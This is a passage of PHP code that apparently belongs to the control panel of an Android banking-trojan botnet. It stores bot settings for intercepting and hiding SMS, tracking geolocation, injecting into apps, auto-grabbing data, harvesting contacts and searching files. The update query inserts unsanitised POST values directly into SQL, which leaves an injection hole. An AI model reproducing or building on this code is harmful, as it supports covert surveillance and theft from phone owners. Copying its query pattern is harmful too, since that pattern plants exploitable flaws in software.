exec('SET NAMES utf8'); $generateHash=generateHash(15); $urls = $_POST['adminkaurl']; $urlInj = $_POST['injurl']; $sql = "UPDATE settingsall SET hash='$generateHash', intInterval='$intInterval', checksms='$checksms', checkhidesms='$checkhidesms', checkgeolocation='$checkgeolocation', checkInjectionsApps='$checkInjectionsApps', secondInjectionsApps='$secondInjectionsApps', checkRequestGeolocation='$checkRequestGeolocation',secondRequestGeolocation='$secondRequestGeolocation', checkGrab_auto='$checkGrab_auto',Grab_auto='$Grab_auto',secondGrab_auto='$secondGrab_auto',checkInjGrab='$checkInjGrab', InjGrab='$InjGrab',secondInjGrab='$secondInjGrab',checkPhoneContacts='$checkPhoneContacts',secondPhoneContacts='$secondPhoneContacts', checkStartGeolocation='$checkStartGeolocation',secondStartGeolocation='$secondStartGeolocation',urls='$urls', urlInj='$urlInj', findfiles='$findfiles' WHERE id='1';"; $connect->query($sql); header("Location: /".namefolder."/index.php?cont=settings&page=bots-settings"); } function generateHash($length){ $chars = 'abdefhiknrstyzABDEFGHKNQRSTYZ23456789'; $numChars = strlen($chars); $string = ''; for ($i = 0; $i < $length; $i++) { $string .= substr($chars, rand(1, $numChars) - 1, 1); } return $string; } ?>